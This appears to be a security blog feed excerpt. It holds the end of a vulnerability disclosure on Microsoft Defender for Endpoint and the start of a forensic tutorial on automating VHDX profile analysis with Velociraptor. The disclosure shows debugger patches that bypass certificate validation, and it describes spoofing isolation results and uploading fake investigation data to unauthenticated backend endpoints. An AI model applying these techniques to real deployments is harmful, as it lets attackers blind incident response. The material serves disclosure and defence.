0: kd&amp;gt; u CRYPT32!CertVerifyCertificateChainPolicy
CRYPT32!CertVerifyCertificateChainPolicy:
00007ffe`e1215d20 b801000000      mov     eax,1
00007ffe`e1215d25 c3              ret
00007ffe`e1215d26 084989          or      byte ptr [rcx-77h],cl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Afterwards, the plain text communication can be analyzed:
&lt;img src=&quot;./burp_proxy_example.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However, I still observed intermittent certificate errors in the Burp logs.
Using &lt;a href=&quot;https://learn.microsoft.com/en-us/sysinternals/downloads/tcpview&quot;&gt;TCPView&lt;/a&gt;, I noticed that the process &lt;code&gt;SenseIR.exe&lt;/code&gt; sometimes starts and opens network connections.&lt;/p&gt;
&lt;p&gt;These connections can also be intercepted by patching the following functions:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1: kd&amp;gt; a SenseIR!web::http::client::details::winhttp_client::verify_certificate_chain
00007ff6`081404b0 mov eax, 1
00007ff6`081404b5 ret
00007ff6`081404b6 
1: kd&amp;gt; a SenseIR!web::http::client::details::winhttp_request_context::on_send_request_validate_cn
00007ff6`0813c6f0 mov eax, 0
00007ff6`0813c6f5 ret
00007ff6`0813c6f6 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, all requests can be intercepted including the data upload to an Azure Blob:
&lt;img src=&quot;./burp_senseir_comm.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important{title=&quot; &quot;}
Interestingly, the &lt;code&gt;CloudLR&lt;/code&gt; tokens were still valid three months later at the time of writing this blog post.
:::&lt;/p&gt;
&lt;h1&gt;Findings&lt;/h1&gt;
&lt;p&gt;The following findings can be abused without being on the target host. It directly targets vulnerabilities in the the backend endpoints.&lt;/p&gt;
&lt;h2&gt;Intercept &lt;code&gt;Commands&lt;/code&gt; (Authentication Bypass and Spoofing Data)&lt;/h2&gt;
&lt;p&gt;The agent regularly sends a request to &lt;code&gt;https://[location-specific-host]/edr/commands/cnc&lt;/code&gt;. If a command is available from the backend, the server returns it in the response. These commands are for example: &lt;code&gt;isolationcommand&lt;/code&gt;, &lt;code&gt;forensicscollectioncommand&lt;/code&gt;, &lt;code&gt;scancommand&lt;/code&gt; or &lt;code&gt;incidentresponsecommand&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cnc_command_example.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Empty response &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cnc_command_example_true.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Response command &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;:::important
Although the requests sent by Defender contain an &lt;code&gt;Authorization&lt;/code&gt; token and a &lt;code&gt;Msadeviceticket&lt;/code&gt;, the backend completely ignores these values.
:::&lt;/p&gt;
&lt;p&gt;Therefore, an unauthenticated attacker who knows the &lt;code&gt;machine-ID&lt;/code&gt; and &lt;code&gt;tenant-ID&lt;/code&gt; can send valid requests to this URL. These values can be read by low-privileged users on the system.
Once the backend sends the command in a response, it will not send it again to subsequent requests.
The following two screenshots show the Burp proxy on the left side and an Intruder window on the right that continiously makes requests to &lt;code&gt;/edr/commands/cnc&lt;/code&gt;. The Intruder request (first screenshot) obtained the response (second screenshot), so the legitimate request from Defender did not receive a response:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./commands_cnc_stop_commands1.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Intruder request &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./commands_cnc_stop_commands2.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Intruder response &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;An attacker can then upload arbitrary fake data to the provided Azure Blob URI (&lt;code&gt;sasuri&lt;/code&gt; in the screenshot). Some other commands such as &lt;code&gt;isolationcommand&lt;/code&gt; can be returned with a request to &lt;code&gt;https://[location-specific-host]/commands/status&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Example Attack: Prevent Isolation and Spoof Result&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./example_attack_isolation.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Intercept command:&lt;/strong&gt; First, intercept the isolation command intended for the target host. The actual agent does not receive the command.
&lt;img src=&quot;./isolation_1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Spoof Response:&lt;/strong&gt; Next, send a spoofed response with the status &lt;code&gt;Already isolated&lt;/code&gt; to the corresponding command ID.
&lt;img src=&quot;./isolation_2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Isolation bypassed:&lt;/strong&gt; The result is an unisolated device that is reported as &apos;isolated&apos; in the Microsoft Defender Portal.
&lt;img src=&quot;./isolation_3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The serialization format is annoying, so the easiest approach is to capture a legitimate response using a proxy and then modify it. As of October 10, 2025, I noticed that requests to https://winatp-gw-weu3.microsoft.com/commands/cnc are being throttled by the server. This was not the case in July.&lt;/p&gt;
&lt;h2&gt;Intercept &lt;code&gt;Actions&lt;/code&gt; (Authentication Bypass and Spoofing Data)&lt;/h2&gt;
&lt;p&gt;This vulnerability is very similar to the previous one (Intercept Commands). It involves a different set of &quot;actions&quot; (e.g., &lt;code&gt;Live Response&lt;/code&gt; or &lt;code&gt;Automated Investigation&lt;/code&gt;) sent via a different URL (&lt;code&gt;/senseir/v1/actions/&lt;/code&gt;) and uses different, but still ignored, authentication tokens.&lt;/p&gt;
&lt;p&gt;Same as above, the Intruder window on the right obtains a response which the actual target does not receive. The proxy window on the left also obtains an action but it&apos;s a different one that was returned to this request because the intruder requests were running slowly. Therefore, both obtained a response but the actual target only received one instead of many:
&lt;img src=&quot;./senseir_steal_actions1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important
Again, there is no effective authentication. An attacker can obtain a valid &lt;code&gt;CloudLR&lt;/code&gt; token without authentication by using just the machine ID.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./senseir_token_cloudLR.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;These actions are encoded using &lt;a href=&quot;https://github.com/microsoft/bond&quot;&gt;Microsoft Bond&lt;/a&gt;.
To get an idea of their contents, I used a LLM to write a decoder that could decode the data as much as possible without additional metadata:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./senseir_steal_actions2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Afterwards, an attacker needs to send additional requests to obtain the Azure Blob URL and upload the fake data there:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./senseir_flow.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important
If an investigation package is requested, an attacker could place similarly named malicious files within the uploaded data. It is plausible that an analyst might open them without suspicion.
:::&lt;/p&gt;
&lt;h2&gt;Unauthenticated IR-Exclusions&lt;/h2&gt;
&lt;p&gt;An unauthenticated user can obtain &lt;a href=&quot;https://learn.microsoft.com/en-us/defender-endpoint/manage-automation-folder-exclusions&quot;&gt;IR-exclusions&lt;/a&gt; by sending a request to the registration endpoint. These are not detection or prevention exclusions, but rather files and folders excluded from automated or manual IR actions. The organization ID required for this request can be read by any user from the registry.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./senseir_actions_exclusions_unauth2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;General Agent Configuration&lt;/h2&gt;
&lt;p&gt;An unauthenticated request to &lt;code&gt;https://[location-specific-host]/edr/commands/cnc&lt;/code&gt; returns an 8MB file of configuration data. While the data does not appear to be tenant-specific, it could provide useful information about detection rules and exclusions. It is unclear how exactly this data is used by the agent, but it contains various configurations:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./config_unauth2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This includes configurations such as &lt;code&gt;RegistryMonitoringConfiguration&lt;/code&gt;, &lt;code&gt;DriverReadWriteAccessProcessList&lt;/code&gt;, &lt;code&gt;DriverReadOnlyOpenProcessList&lt;/code&gt;, &lt;code&gt;ASR&lt;/code&gt;-data, and other information that could be valuable to an attacker.&lt;/p&gt;
&lt;p&gt;:::note
Depending on the &lt;code&gt;cncBitmask&lt;/code&gt;, it returns different data
:::&lt;/p&gt;
&lt;h2&gt;Enumeration done by DFE (InvestigationPackage)&lt;/h2&gt;
&lt;p&gt;If an investigation was previously triggered on a compromised host, the resulting data package might still be available on the filesystem, and it is readable by any user:
&lt;img src=&quot;./filepermissions_investigationpackage.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It contains various types of information that are valuable for an attacke (e.g. Autoruns, installed programs, network connections, ...) :
&lt;img src=&quot;./filepermissions_investigationpackage_info.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;These findings were straightforward to identify once the web traffic was intercepted. This demonstrates that simple vulnerabilities can remain undiscovered for years in components that are difficult to analyze.&lt;/p&gt;
&lt;p&gt;I disagree with MSRC&apos;s assessment that these findings do not warrant remediation. The ability for an unauthenticated network-based attacker to impede the incident response process post-breach should be addressed. Furthermore, the risk of security analysts being targeted with malicious files via investigation packages is significant. The agent uses three different types of authentication tokens, yet all of them are either ignored by the backend or obtainable without any real authentication.&lt;/p&gt;
</content:encoded><author>Manuel Feifel</author></item><item><title>Automation of VHDX Investigations</title><link>https://labs.infoguard.ch/posts/automation_of_vhdx_investigations/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/automation_of_vhdx_investigations/</guid><description>Automating VHDX investigations can transform how DFIR teams handle virtual desktop environments. By integrating Velociraptor with a smart remapping workflow, this approach enables seamless analysis of virtual profiles, reducing manual effort, increasing speed, and ensuring consistent, scalable results across investigations.</description><pubDate>Fri, 19 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;In large-scale environments using Virtual Desktop Infrastructure (VDI) platforms like Citrix, incident responders can find it challenging to identify the initial point of compromise. While some setups use non-persistent sessions with golden image restoration, many environments persist user data on remote file servers. Instead of storing profiles as standard folders, it is common to find them stored within Virtual Hard Disk (VHDX) files.&lt;br /&gt;
These VHDX files often contain valuable forensic artefacts such as NTUSER.DAT hives and application execution traces. Investigating them manually, however, becomes inefficient at scale, especially when dealing with thousands of user profiles.&lt;br /&gt;
This blog post introduces a method for automating forensic analysis of VHDX-based user profiles using Velociraptor, our preferred DFIR tool. The goal is to scale investigations efficiently and reliably without compromising forensic integrity.&lt;/p&gt;
&lt;h1&gt;VHDX&lt;/h1&gt;
&lt;p&gt;Virtual Hard Disk v2 (VHDX) is a file format representing a virtual hard disk drive, containing its own partition layout and file system. It is commonly used in VDI environments to store individual user data, such as the roaming profile and the NTUSER.DAT registry hive.&lt;br /&gt;
From a forensic perspective, VHDX files can hold high-value artefacts, such as evidence of application execution via UserAssist and persistence mechanisms through registry run keys, both typically found within the NTUSER.DAT hive.&lt;br /&gt;
It is common for VDI platforms to store the contents of &lt;code&gt;C:\Users\&amp;lt;Username&amp;gt;\&lt;/code&gt; within a dedicated VHDX file, effectively treating each user profile as a standalone virtual disk image.&lt;/p&gt;
&lt;h1&gt;The Velociraptor Way&lt;/h1&gt;
&lt;p&gt;Velociraptor is a modern, open-source DFIR (Digital Forensics and Incident Response) tool used by many organisations to hunt for threats, collect artefacts, and conduct scalable investigations across enterprise environments. The link below provides an introduction to the tool and details on building artefacts.&lt;br /&gt;
&lt;a href=&quot;https://www.infoguard.ch/en/blog/csirt-optimisation-event-log-analysis-recording-dfir&quot;&gt;https://www.infoguard.ch/en/blog/csirt-optimisation-event-log-analysis-recording-dfir&lt;/a&gt;&lt;br /&gt;
While Velociraptor supports VHDX accessors that allow direct parsing of virtual disk images. This setup typically requires custom artefacts designed for specific use cases, such as parsing UserAssist or registry hives within a mounted VHDX file. Therefore, each forensic check would require a dedicated artefact capable of understanding the VHDX structure.&lt;br /&gt;
A more scalable approach is to reuse existing Velociraptor artefacts, such as &lt;code&gt;Windows.Registry.UserAssist&lt;/code&gt; or &lt;code&gt;Windows.Registry.NTUser&lt;/code&gt;, without modification. The purpose of this research was to enable that capability: to support native artefacts when analysing data stored in VHDX-based user profiles.&lt;br /&gt;
To achieve this, we leverage &lt;em&gt;virtual Velociraptor clients,&lt;/em&gt; instances configured to remap their environment to a specific VHDX file, similar to how Velociraptor operates in deaddisk mode. In this blog post, we’ll refer to these as virtual Velociraptor clients.&lt;br /&gt;
The concept is simple: run a virtual client on the file server where VHDX profiles are stored, and remap its configuration to point to one or more VHDX images. Several technical steps are required to make this work reliably. Let’s explore them one by one.&lt;br /&gt;
&lt;img src=&quot;files/vhdx-drawio.png&quot; alt=&quot;VHDX.drawio&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Windows.Sys.Users&lt;/h2&gt;
&lt;p&gt;Many Velociraptor artefacts which target the user registry, such as &lt;code&gt;Windows.Registry.UserAssist,&lt;/code&gt; access the &lt;code&gt;NTUSER.DAT&lt;/code&gt; hive through the &lt;code&gt;Windows.Registry.NTUser&lt;/code&gt; artefact. However, this artefact relies on &lt;code&gt;Windows.Sys.Users&lt;/code&gt; to enumerate the list of user profiles present on the system.&lt;br /&gt;
By default, the &lt;code&gt;Windows.Sys.Users&lt;/code&gt; artefact retrieves user information from the following registry key:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\*

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This works as expected on endpoint systems but fails on virtual Velociraptor clients, where this registry key relates to the one on the file server and not from the VHDX-based profiles. In such environments, since the key is from a system-based hive, it only reflects the local system users, not those stored in VHDX containers.&lt;br /&gt;
As a result, Velociraptor is unable to discover or parse the NTUSER.DAT hives located inside the VHDX files.&lt;br /&gt;
To overcome this, we explore two possible solutions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Fake registry remapping:&lt;/strong&gt; inject a synthetic &lt;code&gt;ProfileList&lt;/code&gt; registry hive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Artefact override:&lt;/strong&gt; customise &lt;code&gt;Windows.Sys.Users&lt;/code&gt; to support VHDX discovery logic.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Fake registry remapping&lt;/strong&gt;&lt;br /&gt;
One approach to solving the user enumeration problem is to remap not only the file system to the VHDX image, but also the &lt;code&gt;ProfileList&lt;/code&gt; registry key. By providing a custom registry hive that mimics this key, Velociraptor can be tricked into &quot;seeing&quot; the VHDX-hosted profiles as if they were locally present.&lt;br /&gt;
In the example below, we use PowerShell to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create temporary registry keys for each user.&lt;/li&gt;
&lt;li&gt;Set their &lt;code&gt;ProfileImagePath&lt;/code&gt; values to simulate the standard Windows user structure.&lt;/li&gt;
&lt;li&gt;Export the registry hive to a &lt;code&gt;.dat&lt;/code&gt; file.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# Define paths for the temporary hive and final file
$tempHivePath = &quot;HKLM\Software\Velociraptor&quot;
$binaryFilePath = &quot;C:/Program Files/Velociraptor/Profile/ProfileList.dat&quot;

# Add the users to the temp hive
reg.exe add &quot;$($tempHivePath)\Brontosaurus&quot; /v &quot;ProfileImagePath&quot; /t REG_EXPAND_SZ /d &quot;C:\Users\Brontosaurus&quot; /f 
reg.exe add &quot;$($tempHivePath)\Stegosaurus&quot; /v &quot;ProfileImagePath&quot; /t REG_EXPAND_SZ /d &quot;C:\Users\Stegosaurus&quot; /f
reg.exe add &quot;$($tempHivePath)\Tyrannosaurus&quot; /v &quot;ProfileImagePath&quot; /t REG_EXPAND_SZ /d &quot;C:\Users\Tyrannosaurus&quot; /f

# Export the temp hive
reg exe save $tempHivePath $binaryFilePath

# Cleanup the temp hive
reg.exe delete $tempHivePath /f

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, we configure a YAML remapping to instruct Velociraptor to mount this exported hive in place of the original &lt;code&gt;ProfileList&lt;/code&gt; key:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- type: mount
  description: &apos;Registry - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList&apos;
  from:
    accessor: raw_reg
    prefix: |
      {
        &quot;Path&quot;: &quot;/&quot;
        &quot;DelegateAccessor&quot;: &quot;file&quot;
        &quot;DelegatePath&quot;: &quot;C:/Program Files/Velociraptor/Profile/ProfileList.dat&quot;
      }
      path_type: registry
  &quot;on&quot; :
    accessor: registry
    prefix: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
    path_type: registry

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this setup, any call to &lt;code&gt;Windows.Sys.Users&lt;/code&gt; will retrieve the synthetic entries we defined, allowing downstream artefacts (like &lt;code&gt;Windows.Registry.NTUser&lt;/code&gt;) to function correctly.
However, this approach has limitations. It involves manual steps that must be repeated whenever new users are added. Therefore, it is most suitable for small-scale, targeted investigations or proof-of-concept testing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Artefact Override&lt;/strong&gt;&lt;br /&gt;
A more robust and scalable solution is to override the default &lt;code&gt;Windows.Sys.Users&lt;/code&gt; artefact. The customised version maintains compatibility with standard systems while adding logic to detect and enumerate VHDX-based profiles when operating in a virtual Velociraptor client context.&lt;br /&gt;
The core idea is to introduce a conditional check based on the Velociraptor client’s label. If the client is tagged with a specific label (e.g., remapped_profile), the artefact will scan for NTUSER.DAT files within &lt;code&gt;C:\Users\*\&lt;/code&gt; instead of relying on the traditional registry key.&lt;br /&gt;
The VQL override below illustrates this logic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LET GetTimestamp(High, Low) = if(condition=High,
        then=timestamp(winfiletime=High * 4294967296 + Low))

// lookupSID() may not be available on deaddisk analysis
LET Standard = SELECT split(string=Key.OSPath.Basename, sep=&quot;-&quot;)[-1] as Uid,
   &quot;&quot; AS Gid,
   LookupSIDCache(SID=Key.OSPath.Basename || &quot;&quot;) AS Name,
   Key.OSPath as Description,
   ProfileImagePath as Directory,
   Key.OSPath.Basename as UUID,
   Key.Mtime as Mtime,
   {
        SELECT Mtime
        FROM stat(filename=expand(path=ProfileImagePath))
    } AS HomedirMtime,
   dict(ProfileLoadTime=GetTimestamp(
           High=LocalProfileLoadTimeHigh, Low=LocalProfileLoadTimeLow),
        ProfileUnloadTime=GetTimestamp(
           High=LocalProfileUnloadTimeHigh, Low=LocalProfileUnloadTimeLow)
   ) AS Data
FROM read_reg_key(globs=remoteRegKey, accessor=&quot;registry&quot;)

// User list for remapped VHDX profiles emulating the Standard one
LET VHDXProfile = SELECT
      OSPath.Components[-2] AS Uid,
      OSPath.Dirname AS Directory,
      OSPath.Components[-2] AS UUID,
      OSPath.Components[-2] AS Name,
      &quot;&quot; AS Gid,
      Mtime,
      Mtime AS HomedirMtime,
      &quot;HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\&quot; + OSPath.Components[-2] AS Description
    FROM glob(globs=&quot;C:/Users/*/NTUSER.DAT&quot;)

// Get the labels of the agent 
LET agent_config = SELECT labels FROM config

// Take the appropriate user list method
SELECT * FROM if(condition=agent_config.labels=~labelName, then=VHDXProfile, else=Standard)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the artefact override is written, it can be deployed at the server level using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/local/bin/velociraptor —config /etc/velociraptor/server.config.yaml —definitions /etc/velociraptor/artifact_definitions frontend

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this configuration, the Velociraptor server will automatically distribute the custom artefact to clients. There’s no need to modify individual client configurations. Any virtual client launched with the appropriate label (e.g., remapped_profile) will use the VHDX logic seamlessly.&lt;br /&gt;
This is a better solution as it centralises logic, reduces operational overhead, and supports dynamic scaling, making it ideal for multi-user investigations.&lt;/p&gt;
&lt;h2&gt;Remapping Configuration&lt;/h2&gt;
&lt;p&gt;Once the user enumeration issue is resolved using the artefact override, the next step is to create a remapping configuration that links specific user profile paths (e.g. &lt;code&gt;C:\Users\Brontomerus&lt;/code&gt;) to their corresponding VHDX files.&lt;br /&gt;
This remapping is crucial: it allows Velociraptor’s artefacts, which expect standard Windows paths, to transparently operate on data stored within VHDX containers.&lt;br /&gt;
Below is an example of a remapping configuration for the NTFS accessor, pointing &lt;code&gt;C:\Users\Brontomerus&lt;/code&gt; to a specific VHDX file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- type: mount
  description: &apos;NTFS - Brontomerus&apos;
  from:
    accessor: raw_ntfs
    prefix: |
      {
        &quot;DelegateAccessor&quot;: &quot;offset&quot;,
        &quot;Delegate&quot;: {
          &quot;DelegateAccessor&quot;: &quot;vhdx&quot;,
          &quot;DelegatePath&quot;: &quot;F:/VHDX/Profile_Brontomerus.VHDX&quot;,
          &quot;Path&quot;:&quot;/1048576&quot;
        },
        &quot;Path&quot;: &quot;/Profile&quot;
      }
  &quot;on&quot;:
    accessor: ntfs
    prefix: &apos;\\.\C:\Users\Brontomerus&apos;
    path_type: ntfs

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This remapping allows the virtual Velociraptor client to access the contents of the VHDX file as if it were the actual &lt;code&gt;C:\Users\Brontomerus&lt;/code&gt; directory on disk.
To ensure full compatibility with Velociraptor artefacts, similar remappings should be created for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;file&lt;/code&gt; accessor for standard file operations&lt;/li&gt;
&lt;li&gt;&lt;code&gt;auto&lt;/code&gt; accessor for hybrid path resolution&lt;/li&gt;
&lt;li&gt;&lt;code&gt;registry&lt;/code&gt; accessor for registry hive access&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When these accessors are mapped properly, standard artefacts (like &lt;code&gt;Windows.Registry.NTUser&lt;/code&gt;, &lt;code&gt;Windows.Registry.UserAssist&lt;/code&gt;, etc.) will function as expected within the virtual client context.&lt;/p&gt;
&lt;h2&gt;Virtual Client Creation&lt;/h2&gt;
&lt;p&gt;With the remapping configuration in place, we can now launch a &lt;strong&gt;virtual Velociraptor client&lt;/strong&gt;. This is a standalone Velociraptor process that operates like a deaddisk client, using the remapped paths to access the contents of a specific VHDX file as if it were a local user profile.&lt;br /&gt;
The following PowerShell command starts the virtual client using the appropriate configuration and remapping YAML file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Start-Process -FilePath &apos;.\Velociraptor.exe&apos; -ArgumentList &apos;—config client.config.yaml —config.client-writeback-windows=&quot;velociraptor_vhdx.writeback.yaml&quot; —config.client-local-buffer-filename-windows=&quot;C:\Windows\Temp\velociraptor_vhdx_Buffer.bin&quot; —remap &quot;C:\Program Files\Velociraptor\velociraptor_vhdx_remapping.yaml&quot; —config.client-labels=remapped_profile client&apos; -WorkingDirectory &apos;C:\Program Files\Velociraptor&apos; -WindowStyle Hidden
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once launched, the virtual client behaves like any standard Velociraptor endpoint, but its file system and registry access are redirected to the contents of the mounted VHDX. This enables seamless browsing of the virtual profile via the Virtual File System (VFS).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;files/image_a.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It also allows running existing artefacts or any other profile-level checks.&lt;br /&gt;
&lt;img src=&quot;files/image.png&quot; alt=&quot;image&quot; /&gt;&lt;br /&gt;
This virtual client is not persistent. If the system reboots or the client crashes, the process must be relaunched. Fortunately, this can be done using the same artefact described later in this post.&lt;/p&gt;
&lt;h1&gt;Let&apos;s Scale Up&lt;/h1&gt;
&lt;p&gt;With a single virtual client successfully analysing one user profile, the next logical step is to scale the approach. During real-world incidents, it is common to have multiple users to investigate. Investigating each profile manually is inefficient, so automation and parallelisation become essential.&lt;br /&gt;
However, running multiple virtual Velociraptor clients on the same host introduces performance considerations. In our tests, we evaluated three strategies for scaling up to 1,000 user profiles (each stored in a ~2 GB VHDX file).&lt;/p&gt;
&lt;h2&gt;All in One Remapping&lt;/h2&gt;
&lt;p&gt;This approach loads all VHDX files into a single remapping configuration, resulting in a YAML file about 2.6 MB in size. While ideally efficient, it caused instability; the virtual client crashed during execution of simple artefacts (e.g., &lt;code&gt;Generic.Client.Info&lt;/code&gt;), probably due to too many VHDX files being open simultaneously, exceeding system limits.&lt;br /&gt;
&lt;img src=&quot;files/image_v.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;One-to-One Clients&lt;/h2&gt;
&lt;p&gt;Here, we spun up one virtual Velociraptor client per user profile. This would work best as each profile has its own virtual client, which eases the logic. However, this resulted in excessive system resource usage and hundreds of active processes, which is not sustainable for large-scale investigations.&lt;/p&gt;
&lt;h2&gt;Batching: The Optimal Middle Ground&lt;/h2&gt;
&lt;p&gt;The most effective approach was to launch multiple virtual clients, each handling a batch of 40 profiles. This method balances load across processes and avoids overwhelming system resources.&lt;br /&gt;
&lt;img src=&quot;files/image_9.png&quot; alt=&quot;image&quot; /&gt;&lt;br /&gt;
With this configuration, we analysed the UserAssist of 1,000 VHDX files in under 30 seconds.&lt;br /&gt;
&lt;img src=&quot;files/image_s.png&quot; alt=&quot;image&quot; /&gt;&lt;br /&gt;
Use a batching strategy tuned to your environment (e.g. 20–50 profiles per client). The optimal batch size will depend on your hardware and the size of the VHDX files.&lt;/p&gt;
&lt;h1&gt;Artefacts&lt;/h1&gt;
&lt;p&gt;The artefacts have been divided into four main functions: the initial setup, the creation of the remapping configuration file, the virtual Velociraptor client runner, and the virtual Velociraptor client remover.&lt;br /&gt;
To streamline the investigation of VHDX-based user profiles, we developed a suite of Velociraptor artefacts to automate the entire process, from configuration to client execution and teardown. These artefacts fall into four primary categories:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Server setup:&lt;/strong&gt; allow the whole setup to work&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Configuration builder:&lt;/strong&gt; generates remapping YAML files for virtual clients&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Virtual client runner:&lt;/strong&gt; launches Velociraptor processes with profile mappings&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cleanup manager:&lt;/strong&gt; shuts down virtual clients and removes config artefacts&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Windows.Sys.Users (Override)&lt;/h2&gt;
&lt;p&gt;This custom override of the standard &lt;code&gt;Windows.Sys.Users&lt;/code&gt; artefact handles both traditional systems and virtual clients. It determines which enumeration logic to use based on a label assigned to the client (e.g. &lt;code&gt;remapped_profile&lt;/code&gt;).&lt;br /&gt;
&lt;strong&gt;Parameters:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;remoteRegKey&lt;/code&gt;: Location of the registry key holding the profile list.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;labelName&lt;/code&gt;: Client label that signals the use of VHDX-based enumeration.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In standard mode, it enumerates from the Windows registry. For virtual clients, it uses a &lt;code&gt;glob&lt;/code&gt; search for &lt;code&gt;C:\Users\*\NTUSER.DAT&lt;/code&gt;, indicating valid user hives within mounted VHDX files.&lt;/p&gt;
&lt;h2&gt;Windows.Vhdx.RemapConfigBuilder&lt;/h2&gt;
&lt;p&gt;This artefact generates the remapping configuration files required by each virtual Velociraptor client. It automatically detects user profiles, organises them into batches, and writes the YAML files to disk.&lt;br /&gt;
&lt;strong&gt;Parameters:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vhdxFolderPath&lt;/code&gt;: Directory containing VHDX profile files.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;usernameExtractor&lt;/code&gt;: Regex used to extract usernames from filenames.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;user&lt;/code&gt;: Optional filter to restrict which profiles to process.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;virtualHostname&lt;/code&gt;: Hostname to assign to the virtual clients.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;batchSize&lt;/code&gt;: Number of profiles per virtual client.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vhdxOffset&lt;/code&gt;: NTFS start offset inside VHDX (default: 1048576).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The artefact creates a &lt;code&gt;Vhdx/Remapping&lt;/code&gt; directory within the Velociraptor staging directory and populates it with one YAML file per batch. Filenames are sorted using the first extracted username for easy lookup.
Internally, the artefact uses:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shadow remapping&lt;/strong&gt; for &lt;code&gt;data&lt;/code&gt;, &lt;code&gt;raw_reg&lt;/code&gt;, and &lt;code&gt;zip&lt;/code&gt; accessors&lt;/li&gt;
